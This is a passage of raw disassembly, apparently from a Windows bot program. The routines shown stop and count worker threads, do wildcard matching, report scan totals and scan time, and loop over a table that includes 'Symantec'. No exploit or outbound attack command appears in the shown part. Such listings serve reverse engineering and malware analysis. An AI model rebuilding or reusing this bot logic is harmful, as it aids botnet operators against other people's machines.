loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEB8[esi] mov dword_43DEB0[esi], ebx mov dword_43DEB4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEBC[esi] mov byte ptr dword_43DCB0[esi], bl mov byte_43DEC8[esi], bl push dword ptr [edi] call dword_4CB00C lea esi, dword_43DEC0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB00C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCB0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACB0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEB4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEB4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEB0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEB0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEB0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEB0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEC4[eax], ecx mov dword_43DEB0[eax], ecx mov dword_43DEB4[eax], ecx mov dword_43DEB8[eax], ecx mov dword_43DEBC[eax], ecx mov dword_43DEC0[eax], ecx mov byte ptr dword_43DCB0[eax], cl mov byte_43DEC8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317A4 push eax xor ebx, ebx call sub_41B886 cmp dword_431408, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431410 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431798 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACB4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDA80 mov ecx, dword_4CDA7C push esi push dword_4CACB4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDA80 lea eax, [ebp+var_200] push dword_4CDA7C push offset unk_4317C4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCC4 push offset unk_43180C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431858 push eax call sub_41B886 cmp dword_431408, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431848 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFB4 xor edi, edi mov [ebp-8], eax cmp dword_431408, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431408 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318A8 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431874 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0AAh, 45h db 2Eh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0C0[eax*8] call dword_4CB000 push eax lea eax, [ebp+var_200] push offset unk_4318F8 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_4318D8 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431414[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD17C push 104h push esi push ebx mov dword_4CD38C, eax mov dword_4CD388, ebx call near ptr 2680000h nop mov edi, offset byte_429108 push 103h push edi push offset dword_4CD280 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD410, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD38C push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD178 push offset word_411796 push ebx push ebx call near ptr 2690088h nop mov ecx, dword_4CD384 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD418, ebx jnz short loc_40BC23 push 32h nop call near ptr 2690000h jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 26908FFh push eax lea eax, [ebp+var_204] push offset unk_431A18 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACB0 mov esi, offset dword_4CD424 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD634, eax mov dword_4CD630, ebx call near ptr 2680000h nop push 103h push edi push offset dword_4CD528 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD420, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6B8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD634 push offset unk_4319E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD62C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD420 push offset byte_40E991 push ebx push ebx nop call near ptr 2690088h mov ecx, dword_4CD62C imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6C0, ebx jnz short loc_40BD47 push 32h nop call near ptr 2690000h jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 26908FFh push eax lea eax, [ebp+var_204] push offset unk_4319B0 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43141C[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCBC cmp [ebp+arg_90], bl mov dword_4CD0E4, eax mov eax, [ebp+arg_110] mov dword_4CD0D8, eax mov eax, [ebp+arg_138] mov dword_4CD0E0, ebx mov dword_4CD168, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD0E4 lea eax, [ebp+var_204] push offset unk_431980 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD0DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD0D8 push offset byte_40E6EF push ebx push ebx nop call near ptr 2690088h mov ecx, dword_4CD0DC imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD170, ebx jnz short loc_40BE6A push 32h call near ptr 2690000h nop jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej nop call near ptr 26908FFh push eax lea eax, [ebp+var_204] push offset unk_431948 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431418[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD954 push 104h push esi push ebx call near ptr 2680000h nop push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA6C, ebx mov dword_4CDA58, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6CC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6C8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA58 mov dword_4CDA64, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA68, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA60, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6C8 push offset sub_40F0D5 push ebx push ebx nop call near ptr 2690088h mov ecx, dword_4CDA60 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDA74, ebx jnz short loc_40BF92 push 32h call near ptr 2690000h nop jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j nop call near ptr 26908FFh push eax lea eax, [ebp+var_204] push offset unk_431914 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB0C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAE9C inc eax push eax mov 